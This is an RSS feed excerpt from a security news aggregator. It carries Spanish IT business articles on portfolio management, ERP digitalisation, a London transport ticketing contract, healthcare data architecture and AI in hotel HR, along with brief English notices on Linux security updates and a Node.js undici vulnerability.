<p>A medida que el departamento de TI identifica estos activos críticos, conviene revisar esta clasificación con los usuarios finales y la dirección para asegurar un consenso real.</p>



<h2 class="wp-block-heading">Utilización de los activos</h2>



<p>Según Zylo, proveedor especializado en la gestión de inventario, licencias y renovaciones de SaaS, “el 53% de las licencias de SaaS no se utilizan o están infrautilizadas de media, por lo que identificar el software inactivo debería ser una prioridad”. Este problema del “software sin usar” no se limita al SaaS: también aparece en sistemas antiguos y modernos infrautilizados, servidores y discos obsoletos, o tecnologías de red que no se utilizan, pero por las que se sigue pagando.</p>



<p>En muchos casos, este fenómeno se debe a que el departamento de TI está tan centrado en proyectos que no dispone de tiempo para revisar inventarios y niveles de obsolescencia. Como resultado, productos antiguos permanecen en catálogo y se renuevan automáticamente.</p>



<p>Si se quiere maximizar el rendimiento y la rentabilidad de la cartera de TI, este problema debe abordarse de forma sistemática. Cuando el propio departamento no puede dedicar tiempo suficiente, puede recurrirse a consultores externos que realicen una evaluación de uso de activos para identificar aquellos que nunca se utilizan o lo hacen de forma marginal, para reutilizarlos o retirarlos.</p>



<h2 class="wp-block-heading">Riesgo de los activos</h2>



<p>El objetivo de una cartera de TI es reunir activos relevantes hoy y que sigan siéndolo mañana. Por ello, es imprescindible evaluar el riesgo asociado a cada recurso tecnológico.</p>



<p>¿Existe riesgo de que el proveedor retire el producto o lo deje obsoleto? ¿Es estable el propio proveedor? ¿Dispone el departamento de TI del talento necesario para seguir operando determinados sistemas, independientemente de su calidad, como aplicaciones heredadas personalizadas escritas en COBOL o Assembler? ¿Se está encareciendo en exceso el funcionamiento de un sistema o de un hardware concreto? ¿Existe una hoja de ruta clara para integrar los sistemas actuales con las tecnologías que llegarán en el futuro?</p>



<p>Cuando un activo se considera de riesgo, deben definirse estrategias para sacarlo de esa situación o planificar su sustitución.</p>



<h2 class="wp-block-heading">Valor de la propiedad intelectual</h2>



<p>Conozco a un CIO del sector hotelero que presume de que su sistema de reservas y el <em>mainframe</em> en el que se ejecuta no han fallado en 30 años. Atribuye gran parte de ese éxito al código personalizado y al sistema operativo especializado que utiliza la compañía, y tanto él como su comité de dirección lo consideran una ventaja competitiva frente a sus rivales.</p>



<p>No es un caso aislado. Muchas organizaciones operan con su propia “receta secreta de TI”, que impulsa directamente el negocio. Esta receta puede ser un sistema heredado o un algoritmo de IA. Activos de este tipo, que constituyen auténtica propiedad intelectual tecnológica, son un argumento sólido para su conservación dentro de la cartera.</p>



<h2 class="wp-block-heading">TCO y ROI de los activos</h2>



<p>¿Rinden al máximo de su potencial todos los activos tecnológicos? Al igual que ocurre con las inversiones financieras, las tecnologías deben demostrar que siguen generando un valor medible y sostenible. Los dos principales indicadores son el coste total de propiedad (TCO) y el retorno de la inversión (ROI).</p>



<p>El TCO mide el valor de un activo a lo largo de su vida útil. Por ejemplo, unos servidores adquiridos para el centro de datos pudieron resultar rentables hace cuatro años, pero hoy ese mismo centro puede albergar<em> racks </em>obsoletos con tecnología anticuada, cuando resulta más eficiente trasladar la carga de trabajo a la nube.</p>



<p>El ROI, por su parte, se utiliza sobre todo al adquirir nueva tecnología. Se definen métricas para determinar cuándo se recuperará la inversión inicial. Una vez alcanzado el punto de equilibrio, se sigue monitorizando para comprobar cómo se materializa la rentabilidad o el ahorro esperado. Sin embargo, no todas las inversiones salen según lo previsto: el caso de negocio puede cambiar o surgir complicaciones imprevistas que conviertan una inversión prometedora en una carga.</p>



<p>Tanto en términos de TCO como de ROI, la cartera de TI debe gestionarse de forma activa para eliminar activos que ya no aportan valor o que generan pérdidas.</p>



<h2 class="wp-block-heading">En resumen</h2>



<p>La gestión de la cartera de TI es una función esencial y continua del CIO, pero con demasiada frecuencia se aborda de forma reactiva: se sustituye un sistema cuando los usuarios lo reclaman o se retira un servidor cuando deja de funcionar.</p>



<p>Tampoco ayudan el CEO, el CFO y otros interlocutores clave durante la elaboración del presupuesto tecnológico. Aunque suelen interesarse por el plazo de amortización de una nueva inversión, rara vez preguntan por la visión global de la cartera de TI: cómo están funcionando los activos en conjunto y qué sistemas deberán sustituirse para mantener o incrementar el valor para la empresa.</p>



<p>Para mejorar su gestión tecnológica, los CIO deberían aprovechar el potencial de la gestión de carteras. Esto implica crear una cartera formal de activos de TI y revisarla periódicamente con las áreas del negocio que tienen influencia directa en los presupuestos.</p>



<p>Este enfoque conecta especialmente bien con el director financiero y el director general, acostumbrados a trabajar con carteras financieras y de riesgo. Una mayor visibilidad de la cartera tecnológica también facilita al CIO presentar nuevas recomendaciones, justificar sustituciones o actualizaciones y obtener aprobaciones cuando sea necesario.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (cups, libpq, libsoup3, podman, and postgresql16), Debian (ffmpeg, gpsd, python-urllib3, and thunderbird), Fedora (chromium, foomuuri, forgejo, freerdp, harfbuzz, libtpms, musescore, python-biopython, and python3.12), Mageia (gimp, libpng, nodejs, an...]]></description>
<link>https://tsecurity.de/de/3221539/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3221539/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 19 Jan 2026 15:07:32 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (cups, libpq, libsoup3, podman, and postgresql16), <b>Debian</b> (ffmpeg, gpsd, python-urllib3, and thunderbird), <b>Fedora</b> (chromium, foomuuri, forgejo, freerdp, harfbuzz, libtpms, musescore, python-biopython, and python3.12), <b>Mageia</b> (gimp, libpng, nodejs, and python-urllib3), and <b>SUSE</b> (alloy, avahi, bind, chromedriver, chromium, cpp-httplib, docker, erlang, fluidsynth, freerdp, go-sendxmpp, govulncheck-vulndb, kernel, libwireshark19, NetworkManager-applet-l2tp, python, python311-virtualenv, thunderbird, and zk).]]></content:encoded>
</item>
<item>
<title><![CDATA[Corver avanza hacia un modelo digital integrado y estandarizado]]></title>
<description><![CDATA[La distribución multimarca lleva años viviendo una profunda transformación marcada por la digitalización, la automatización de procesos y la necesidad de dar una respuesta más eficiente a los clientes. En este contexto opera Corver, compañía española con más de 30 años dedicada a la importación y...]]></description>
<link>https://tsecurity.de/de/3220630/it-security-nachrichten/corver-avanza-hacia-un-modelo-digital-integrado-y-estandarizado/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3220630/it-security-nachrichten/corver-avanza-hacia-un-modelo-digital-integrado-y-estandarizado/</guid>
<pubDate>Mon, 19 Jan 2026 07:21:05 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La distribución multimarca lleva años viviendo una profunda transformación marcada por la digitalización, la automatización de procesos y la necesidad de dar una respuesta más eficiente a los clientes. En este contexto opera <strong>Corver</strong>, compañía española con más de 30 años dedicada a la <strong>importación y distribución en exclusiva de productos, accesorios y recambios para motocicletas y motoristas</strong> de las principales marcas del mercado.</p>



<p>Al igual que muchas compañías del sector, el grupo, que opera a través de diversas empresas en España y Portugal, se enfrenta a un reto doble: mejorar su eficiencia interna y sostener un negocio cada vez más dinámico, apoyado en el comercio electrónico, la gestión inteligente del catálogo y la toma de decisiones basada en datos. Para ello, la organización ha emprendido un proyecto de transformación digital profundo y progresivo que está redefiniendo la manera en la que trabaja.</p>



<p>Según <strong>Marc Codina, IT project manager y CTO del grupo Corver</strong>, la compañía “se encuentra en una fase de consolidación y escalado”. Durante 2025 han iniciado la unificación del ERP a nivel de grupo, han puesto en marcha un PIM corporativo como fuente única de datos de producto y trabajan en la convergencia del SGA. “El foco ahora está en estabilizar, extraer eficiencias y extender estándares al resto de compañías del grupo”, apunta.</p>



<p>El proceso de transformación digital arrancó formalmente en el año 2023, con una hoja de ruta que fue activándose por fases entre 2024 y 2025. Codina recuerda que el programa nació con cuatro objetivos principales: “Disponer de un dato maestro único en clientes, precios y producto; homogeneizar procesos en toda la organización, desde <em>order-to-cash</em> hasta <em>procure-to-pay;</em> asegurar la escalabilidad del comercio electrónico; y facilitar un <em>reporting</em> directivo en tiempo casi real”. Este enfoque busca eliminar silos y crear un modelo operativo más coherente y medible.</p>



<p>Uno de los proyectos estrella acometidos por la compañía dentro de ese proceso de transformación digital es la estandarización del ERP a nivel de grupo, una iniciativa que ha permitido unificar procedimientos y mejorar el control operativo en distintas áreas, aprovechando todas las capacidades de la solución SAGE X3. En este despliegue, Corver ha colaborado con el integrador Aitana, cuya participación ha sido clave para acompañar el cambio cultural asociado al proyecto. “Su equipo nos ha acompañado con una alta profesionalidad y experiencia, ayudándonos a superar la resistencia natural al cambio que conlleva una transformación tecnológica de este alcance”, explica Codina.  </p>



<p>Más del 95% de los pedidos ya se integran automáticamente en el ERP sin intervención manual, lo que ha permitido optimizar el proceso de compra, reducir errores y duplicidades, disminuir incidencias por recepciones incorrectas y aumentar la visibilidad en la trazabilidad de pedidos e información. Aunque la compañía no aporta cifras exactas de la inversión en este proyecto, según Marc Codina, “se sitúa en seis cifras, con un retorno estimado de entre 18 y 24 meses gracias a la eficiencia y el incremento de conversión en ventas”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Marc Codina, IT Project Manager y CTO del grupo Corver" class="wp-image-4116123" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?quality=50&amp;strip=all 3382w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=300%2C187&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=768%2C479&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=1024%2C638&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=1536%2C957&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=2048%2C1277&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=1118%2C697&amp;quality=50&amp;strip=all 1118w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=270%2C168&amp;quality=50&amp;strip=all 270w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=135%2C84&amp;quality=50&amp;strip=all 135w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=770%2C480&amp;quality=50&amp;strip=all 770w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=578%2C360&amp;quality=50&amp;strip=all 578w, https://b2b-contenthub.com/wp-content/uploads/2026/01/cto-corver.jpg?resize=401%2C250&amp;quality=50&amp;strip=all 401w" width="1024" height="638" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Marc Codina, IT Project Manager y CTO del grupo Corver.</strong></p>
</figcaption></figure><p class="imageCredit">Corver</p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>Corver ha tenido que afrontar desafíos como la gobernanza del dato, la normalización de catálogos heredados, la gestión del cambio y la formación de usuarios</em></strong></p></blockquote></figure>



<h2 class="wp-block-heading">Bases sólidas de TI</h2>



<p>Todo ese proceso de transformación ha llevado a que, en la actualidad, la base tecnológica de la compañía se sustente en un ERP estandarizado que centraliza procesos financieros y operativos, en un PIM corporativo que actúa como repositorio único de información de producto en varios idiomas y en una plataforma eCommerce B2C y B2B integrada directamente con ambos sistemas. Todo ello se complementa con un sistema de BI que da soporte a modelos semánticos y cuadros de mando corporativos y con soluciones de ITSM para soporte, trazabilidad y gobierno de cambios. Además, según el CTO, la seguridad se ha convertido en un aspecto crítico, donde la organización ha reforzado capacidades con tecnologías como SSO, MFA, <em>hardening </em>y monitorización activa.</p>



<p>Sin embargo, el camino no ha sido sencillo. Corver ha tenido que afrontar una serie de desafíos que han acompañado a la implantación tecnológica, entre ellos la gobernanza del dato, la normalización de catálogos heredados, la gestión del cambio y la formación de usuarios. A esto se suman condicionantes propios del negocio, como la necesidad de ajustar los despliegues a períodos de alta actividad comercial, especialmente durante <em>Black Month</em> (extensión de las ofertas del <em>Black Friday</em>) y Navidad, y la integración con sistemas <em>legacy</em>, donde el SGA ha sido uno de los puntos más exigentes. Codina también subraya la importancia de una disciplina estricta en integración continua y aseguramiento de calidad para evitar retrabajos y mantener la estabilidad operativa.</p>



<h2 class="wp-block-heading">Un horizonte marcado por la transformación</h2>



<p>De cara al futuro, el grupo español se ha fijado nuevos objetivos que consolidan y amplían la transformación ya iniciada. Entre ellos se encuentran la unificación del SGA/WMS, el desarrollo de una experiencia omnicanal real con <em>stock</em> unificado y reglas de precios coherentes, la automatización del ciclo de vida del producto de extremo a extremo, la mejora de las integraciones con herramientas más avanzadas y el refuerzo de la ciberseguridad y la gestión de identidades. En paralelo, Corver continúa incorporando tecnologías avanzadas allí donde tienen impacto directo, desde BI y analítica predictiva hasta IA y <em>machine learning</em> para enriquecimiento de atributos o traducciones asistidas, así como RPA en operaciones de <em>back-office</em> y traducción automática para acelerar la publicación de contenido multilingüe.</p>



<p>En definitiva, Codina define la visión del grupo como “pragmática y sostenida”, basada en seguir midiendo el valor de cada lanzamiento y extender herramientas y estándares a todas las empresas que forman parte del grupo. Todo ello con un objetivo claro: avanzar hacia una estandarización global que combine eficiencia operativa y la flexibilidad que exige el negocio.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Indra operará el sistema de venta y control de accesos de la red de transporte público de Londres y su área metropolitana]]></title>
<description><![CDATA[Indra ha comunicado haber firmado uno de los mayores contratos de su historia. Transport for London (TfL), que gestiona el servicio de una de las redes de transporte público más extensas y complejas del planeta, con más de 8,6 millones de desplazamientos diarios y más de 3.600 millones de viajes ...]]></description>
<link>https://tsecurity.de/de/3217245/it-security-nachrichten/indra-operar-el-sistema-de-venta-y-control-de-accesos-de-la-red-de-transporte-pblico-de-londres-y-su-rea-metropolitana/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3217245/it-security-nachrichten/indra-operar-el-sistema-de-venta-y-control-de-accesos-de-la-red-de-transporte-pblico-de-londres-y-su-rea-metropolitana/</guid>
<pubDate>Fri, 16 Jan 2026 14:50:33 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><strong>Indra</strong> ha comunicado haber firmado uno de los mayores contratos de su historia. <strong>Transport for London (TfL)</strong>, que gestiona el servicio de una de las redes de transporte público más extensas y complejas del planeta, con más de 8,6 millones de desplazamientos diarios y más de 3.600 millones de viajes al año, le ha adjudicado el proyecto para operar el sistema de sistemas de venta y control de accesos (<em>ticketing</em>) de toda la red de transporte público de Londres y su área metropolitana. Se trata del “más avanzado, innovador y pionero del mundo occidental”, recalcan desde la consultora, que también se encargará de su mantenimiento y evolución hasta 2034. El importe del contrato asciende a 605 millones de euros, ampliable a más de 975 millones de euros y contempla posibles extensiones y opciones hasta 2039.</p>



<p>Tras un período de transición de casi dos años, Indra se convertirá en el proveedor único del sistema de ticketing de una red que cubre más de 8.500 autobuses, cerca de 400 estaciones de metro y otras casi 300 correspondientes al Overground, DLR, Elizabeth Line y servicios de tren suburbano, así como 4.000 puntos de venta de tarjetas Oyster, siete centros de atención al cliente y 24 puntos de embarque de ferry.</p>



<p>El proyecto abarca la operación, el <strong>mantenimiento y la evolución de una amplia gama de sistemas</strong>, como los pasos de control de acceso, validadores, máquinas expendedoras de títulos de transporte, terminales de venta en comercios minoristas, equipos portátiles de inspección, así como toda la infraestructura tecnológica y un back office que integra funcionalidades de ciberseguridad, gestión de datos, generación de informes y coordinación con terceros.</p>



<p>Desde la compañía recalcan que el proyecto contempla también la implementación, en colaboración con TfL, de nuevas tecnologías que permitan evolucionar el sistema, hacerlo más eficiente y automatizar procesos clave. “En definitiva, crear conjuntamente la próxima generación del sistema de ticketing para Londres”, dicen.</p>



<p>Un hito del proyecto será abordar, conjuntamente con TfL, la <strong>futura implementación del sistema de gestión de cuentas de viajero</strong> (Account Based Ticketing-ABT) sobre la <strong>Oyster Card</strong>, el billete de transporte electrónico en funcionamiento en Londres desde 2003.</p>



<p>Con este proyecto, añaden desde la consultora española, ésta refuerza su apuesta por Reino Unido como mercado estratégico, un país donde está presente desde hace 20 años y donde cuenta con un equipo de más de 200 profesionales locales que prevé aumentar hasta llegar a más de 1.000 empleados en los próximos años.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[El FEM alerta de que tener arquitecturas de datos obsoletas frena el impacto de la IA en sanidad]]></title>
<description><![CDATA[Aunque la IA tiene el potencial de transformar la atención médica en todo el mundo, el progreso se está topando actualmente con un muro invisible. Los obstáculos son los sistemas de datos obsoletos. A esta conclusión llega el Foro Económico Mundial (FEM) en el informe publicado en vísperas de su ...]]></description>
<link>https://tsecurity.de/de/3216763/it-security-nachrichten/el-fem-alerta-de-que-tener-arquitecturas-de-datos-obsoletas-frena-el-impacto-de-la-ia-en-sanidad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3216763/it-security-nachrichten/el-fem-alerta-de-que-tener-arquitecturas-de-datos-obsoletas-frena-el-impacto-de-la-ia-en-sanidad/</guid>
<pubDate>Fri, 16 Jan 2026 10:34:26 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Aunque la IA tiene el <a href="https://www.cio.com/article/4111666/digitalizar-y-cooperar-para-saber-y-poder-cuidar-o-curar.html">potencial de transformar la atención médica en todo el mundo</a>, el progreso se está topando actualmente con un muro invisible. Los obstáculos son los <strong>sistemas de datos obsoletos</strong>. A esta conclusión llega el <strong>Foro Económico Mundial (FEM) </strong>en el informe publicado en vísperas de su reunión anual en Davos, llamado ‘<a href="https://www.weforum.org/stories/2026/01/ai-healthcare-data-architecture/" target="_blank" rel="nofollow">La IA puede transformar la asistencia sanitaria si transformamos nuestra arquitectura de datos’</a>.</p>



<p>Según el estudio, <strong>décadas de registros aislados, formatos incompatibles e infraestructuras rígidas frenan el progreso</strong>. Para que la IA no siga siendo solo una herramienta para tareas específicas, sino que se convierta en un sistema autónomo y capaz de aprender, el FEM considera que <strong>el sector sanitario debe replantearse desde cero su arquitectura de datos</strong>.</p>



<h2 class="wp-block-heading">Urge salir de la trampa del silo</h2>



<p>Hasta ahora, las estructuras se basaban a menudo en entradas manuales y actualizaciones diferidas. Sin embargo, el futuro pertenecerá a un canal de datos inteligente y unificado que limpie la información de los sensores y las fuentes automatizadas en tiempo real y la haga directamente legible para la IA. En lugar de almacenarse en rígidas bases de datos relacionales, la información se almacena cada vez más en bases de datos gráficas multidimensionales que permiten comprender inmediatamente el contexto y el significado.</p>



<p>El FEM considera que otro gran problema es la <strong>investigación médica</strong>. En este ámbito, muchos conocimientos valiosos permanecen ocultos en notas o imágenes complejas, ya que son difíciles de encontrar con una búsqueda convencional. Aquí es donde entra en juego la denominada <strong>vectorización</strong>: los datos multimodales, desde textos hasta secuencias genómicas y señales clínicas, se convierten en incrustaciones numéricas. Esto permite a la IA reconocer relaciones profundas, como comparar síntomas con casos anteriores o recuperar resultados de investigación relevantes con la máxima precisión.</p>



<h2 class="wp-block-heading">Seguridad y confianza</h2>



<p>En definitiva, según el FEM, <strong>un sistema sanitario moderno necesita un <em>data lakehouse</em></strong>. Es decir, un lugar de almacenamiento centralizado en el que los datos de los laboratorios, los wearables y las aplicaciones de los pacientes confluyan de forma segura y estén disponibles para su análisis. Para que la protección de datos no se quede en el camino, una fábrica de datos inteligente debe garantizar que solo los usuarios autorizados tengan acceso y que la información sea coherente.</p>



<p>Para garantizar que las recomendaciones de IA para los médicos sean comprensibles y fiables, éstas deben basarse en conocimientos clínicos validados. Los denominados gráficos del conocimiento podrían servir como guías para garantizar que los resultados de la IA se ajusten a las directrices médicas.</p>



<p>Esta transformación de la IA es más que una simple renovación tecnológica. Según la valoración del FEM, <strong>para las naciones soberanas, la creación de una arquitectura de datos preparada para la IA significa considerar la sanidad como un recurso nacional</strong>. Y, desde el punto de vista del foro, esta transformación radical es indispensable. Solo así los países podrán garantizar una atención mejor y personalizada y aprovechar al máximo el potencial de una IA con capacidad de autoaprendizaje.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iberostar confía en la IA para mejorar la captación y gestión de empleados en un sector con alta rotación]]></title>
<description><![CDATA[La escasez de trabajadores disponible, la alta rotación y la poca digitalización de los puestos de trabajo son, según Luis Zamora, director de personas (CHRO) de Grupo Iberostar, una de las grandes multinacionales españolas del sector turismo y especialmente fuerte en el negocio hotelero, los tre...]]></description>
<link>https://tsecurity.de/de/3214713/it-security-nachrichten/iberostar-confa-en-la-ia-para-mejorar-la-captacin-y-gestin-de-empleados-en-un-sector-con-alta-rotacin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3214713/it-security-nachrichten/iberostar-confa-en-la-ia-para-mejorar-la-captacin-y-gestin-de-empleados-en-un-sector-con-alta-rotacin/</guid>
<pubDate>Thu, 15 Jan 2026 12:50:38 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La escasez de trabajadores disponible, la alta rotación y la poca digitalización de los puestos de trabajo son, según <strong>Luis Zamora, director de personas (CHRO) de <a href="https://www.cio.com/article/2091110/la-tecnologia-es-la-facilitadora-de-una-transformacion-obligada.html">Grupo Iberostar</a></strong>, una de las grandes multinacionales españolas del sector turismo y especialmente fuerte en el negocio hotelero, los tres grandes desafíos que afronta este vertical en la actualidad desde el prisma laboral. Así lo indicó el directivo en un <a href="https://www.computerworld.es/article/4116833/adolfo-pellicer-la-ia-ha-redefinido-el-modelo-operativo-de-workday.html">encuentro con prensa organizado por Workday</a>, compañía con la que el grupo turístico selló un contrato en 2025 para implantar su tecnología de gestión de recursos humanos, en aras de unificar sus procesos de contratación, desarrollo de talento y administración de nóminas y beneficios laborales.</p>



<p>“En este momento —contó Zamora— nos hallamos en pleno proceso de implementación de Workday, que esperamos que esté a pleno uso el próximo mes de septiembre. Esto nos permitirá ofrecer formación a la carta a nuestros empleados, facilitarles realizar cambios de turno sin que esto impacte en el negocio y en función de la ocupación del hotel donde trabajen y mejorar así su experiencia y la de sus <strong>managers</strong>, facilitar el cumplimiento de la regulación, etc.”. El proyecto, añadió el responsable, implica un “gran cambio cultural”, pues “se trata de que el área de personas deje de realizar una gestión administrativa y de nómina a abordar una gestión del capital humano”.</p>



<p>La compañía, relató, confía en las posibilidades que trae consigo el software de la firma estadounidense, que se apalanca en la analítica de datos y la más reciente aplicación de agentes de inteligencia artificial, una tecnología que el directivo de Iberostar ve con buenos ojos incluso de cara a la captación de empleados. “Ya hemos realizado pilotos con IA que nos permiten realizar entrevistas de filtro con personas; esta tendencia, la de hablar con máquinas, que la gente más joven ya ha normalizado, entrará en los procesos de selección”, afirmó Zamora, convencido de que “la IA ayudará a quitar tareas administrativas a los gestores de forma que estos, en lugar de dedicar tanto tiempo a hacer informes, puedan centrarse en lo importante: en las personas y en sus equipos”.</p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“La IA entrará en los procesos de selección</em></strong><em><strong> […] pero la máquina nunca va a tener la última decisión”</strong></em></p></blockquote></figure>



<p>Con la IA, recalcó, “la mejora de la experiencia del empleado será importante”. Agregó que la naturalidad que traerá consigo a las conversaciones con las máquinas el uso de la IA generativa por voz será un factor determinante para ello; no obstante, subrayó, “hay que actuar con prudencia y tener en cuenta que en un proceso de selección de personal la máquina nunca va a tener la última decisión”. “En un sector donde la experiencia del cliente depende directamente de las personas, la IA no debe sustituir el criterio humano, sino potenciarlo”, recalcó.</p>



<p>La implantación de la tecnología de gestión de personal de Workday forma parte de una estrategia tecnológica a mayor escala que implica también el uso de soluciones de otras herramientas de gestión con las que estará integrada la primera, como una solución de planificación financiera de SAP u otra de Microsoft (Fabric) para hacer análisis avanzado de datos corporativos.</p>



<h2 class="wp-block-heading">Adopción de la IA en la parte operacional de Iberostar</h2>



<p>Zamora desgranó también otros proyectos del grupo en los que la inteligencia artificial tiene un rol relevante desde el punto de vista de la operación. Uno es el <strong>sistema Winnow</strong>, “basado en el <em>machine learning</em> de toda la vida” que ha implantado ya en decenas de sus hoteles y gracias al que ha conseguido ahorrar en estos establecimientos millones de comidas al año. “Nos preocupa el desperdicio alimentario”, apuntó el directivo. Este proyecto forma parte de su movimiento de sostenibilidad Wave of Change, que nació en 2022 con el objetivo de ahorrar 1.600 toneladas de residuos alimentarios al año, es decir, unos 5,3 millones de comidas.</p>



<p>El otro proyecto mencionado por Zamora fue <strong>BRAIAN</strong>, una inteligencia artificial diseñada para optimizar el consumo energético en los hoteles sin impactar en los huéspedes. La solución, desarrollada con la compañía Sener y que también forma parte del movimiento Wave of Change, tiene como objetivo reducir en un 35% el consumo energético y en un 85% las emisiones de alcance 1 y 2 para 2030.</p>



<p>Ya desde un punto de vista más general de transformación digital, Iberostar, bajo su <a href="https://www.cio.com/article/2071040/mantendremos-nuestra-apuesta-por-la-innovacion-abierta-con-caracter-indefinido.html">proyecto Hotel Digital</a>, utiliza la inteligencia artificial para mejorar la experiencia del cliente.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-22036 | nodejs undici up to 6.22.x/7.18.1 allocation of resources (GHSA-g9mf-h72j-4rw9 / EUVD-2026-2422)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in nodejs undici up to 6.22.x/7.18.1. This vulnerability affects unknown code. Executing a manipulation can lead to allocation of resources.

This vulnerability is handled as CVE-2026-22036. The attack can be executed remotely. There ...]]></description>
<link>https://tsecurity.de/de/3213744/sicherheitsluecken/cve-2026-22036-nodejs-undici-up-to-622x7181-allocation-of-resources-ghsa-g9mf-h72j-4rw9-euvd-2026-2422/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3213744/sicherheitsluecken/cve-2026-22036-nodejs-undici-up-to-622x7181-allocation-of-resources-ghsa-g9mf-h72j-4rw9-euvd-2026-2422/</guid>
<pubDate>Thu, 15 Jan 2026 00:05:29 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/?kb.risk">problematic</a> has been discovered in <a href="https://vuldb.com/?product.nodejs:undici">nodejs undici up to 6.22.x/7.18.1</a>. This vulnerability affects unknown code. Executing a manipulation can lead to allocation of resources.

This vulnerability is handled as <a href="https://vuldb.com/?source_cve.341147">CVE-2026-22036</a>. The attack can be executed remotely. There is not any exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Fixes Critical DoS Flaw That Could Crash “Virtually Every Production App”]]></title>
<description><![CDATA[Node.js Fixes Critical DoS Flaw That Could Crash “Virtually Every Production App”
				
				
			
			
				
				
				
				
			
				
				
				
				
				
				
				
				
				
				
				
				 Post Views: 3
			
			
				
				
				
				
				



			
			
				
				
				
				
			
				
				
				
				
				
				...]]></description>
<link>https://tsecurity.de/de/3212348/it-security-nachrichten/nodejs-fixes-critical-dos-flaw-that-could-crash-virtually-every-production-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3212348/it-security-nachrichten/nodejs-fixes-critical-dos-flaw-that-could-crash-virtually-every-production-app/</guid>
<pubDate>Wed, 14 Jan 2026 12:05:58 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="et_pb_section et_pb_section_0 et_section_specialty">
				
				
				
				
				
				<div class="et_pb_row">
				<div class="et_pb_column et_pb_column_3_4 et_pb_column_0   et_pb_specialty_column  et_pb_css_mix_blend_mode_passthrough">
				
				
				
				
				<div class="et_pb_row_inner et_pb_row_inner_0">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_0 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_post_title et_pb_post_title_0 et_pb_bg_layout_light  et_pb_text_align_left">
				
				
				
				
				
				<div class="et_pb_title_container">
					<h1 class="entry-title">Node.js Fixes Critical DoS Flaw That Could Crash “Virtually Every Production App”</h1>
				</div>
				
			</div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_1">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_1 et-last-child">
				
				
				
				
